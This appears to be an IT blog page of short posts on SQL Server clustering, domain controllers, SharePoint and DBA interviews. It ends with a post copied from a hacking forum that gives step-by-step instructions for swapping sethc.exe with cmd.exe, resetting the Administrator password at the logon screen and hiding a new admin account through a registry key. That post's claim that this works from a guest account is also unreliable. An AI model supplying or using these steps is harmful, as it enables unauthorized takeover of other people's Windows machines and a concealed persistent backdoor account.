Clustering in SQL 2008/Win2k8

Windows 2003 still supports SCSI arrays for clustering, Server 2008 has removed support for using a SCSI array for clustering servers.  When using Server 2008 to cluster SQL Server systems, you’ll need to use a FC array and FC SAN or an array that can present its disks over iSCSI to the servers.  This can be problematic when you’re trying to cluster under Hyper-V or VMware and don’t have a hardware-based iSCSI solution.  However you can use ‘Rocket Division SOftware’s StarWind iSCSI Target’ for Windows or ‘Nimbus Data Systems MySAN’ or ‘Open-Source openfiler’ to present local disks from a third server as iSCSI disks to your cluster.  You should use caution when using a software iSCSI target as performance from these software packages will depend on the hardware behimd them and the network configuration.

Credits: Denny Cherry in latest SQLmag.

Advertisements

Logicworks & Linbit to lower costs and boost performance and availability

Logicworks, a leading provider of high availability and private cloud hosting solutions, today announced that it is working with LINBIT, a global provider of redundant storage replication solutions, to develop a high-performance replication system for Logicworks’ customers. LINBIT DRBD open source technology combined with an InfiniBand fabric from Mellanox will lower costs and make it possible to achieve unprecedented levels of input/output (I/O) performance, leading to improved cloud-based storage management and disaster recovery capabilities.

http://bit.ly/8mU9r

Enterprise Domain Controllers

Active Directory sites with disaster recovery or in an enterprise  will most likely contain domain controllers in various locations.
One of the keys to optimize this from the server/workstation is to become familiar with the weight of each domain controller in regards to preference, logon and authentication.

The following 2 Microsoft KB Articles are great reading up on weight priority.

http://technet.microsoft.com/en-us/library/cc957290.aspx
http://technet.microsoft.com/en-us/library/cc957291.aspx

Social Networking with Sharepoint

http://bit.ly/142oI2

“Social networking and collaboration are converging in many ways, and I would characterize SharePoint as being a part of many organizations’ social networking strategies”

Microsoft is expected to boost social networking capabilities in Sharepoint 2010 release.

Check TechTarget for a full review.

SQL Server DBA Phone Interview

To all the DBA’s out there. Be armed with what you need, best of luck. Reach out to me if you need help.

http://www.mssqltips.com/tip.asp?tip=1472
Special thanks to MSSQLtips.com, a bookmark suggestion for all DBA’s alike.

Command Line Guru

Master all the commands without stacking your desk with references or looking up a google.
http://www.commandlinefu.com/commands/browse
This site is an awesome resource for fans of command line shortcuts or Linux experts alike.
I found this to be a worthy bookmark. In addition it supports OpenId. Enjoy!

Hack Windows with Locked Guest

Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.

* Go to C:/windows/system32
* Copy cmd.exe and paste it on desktop
* rename cmd.exe to sethc.exe
* Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes

* Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
* You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
* Congrats You have hacked admin from guest account.

Also, you can further create a new user at the command prompt by typing “NET USER MyNameHere/ADD” where “MyNameHere” is the username you would like to add with administrator privileges. Then hide your newly created admin account by –

Go to registry editor and navigate to this key

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever 🙂

Credits: Ephemeral at Hackforums.net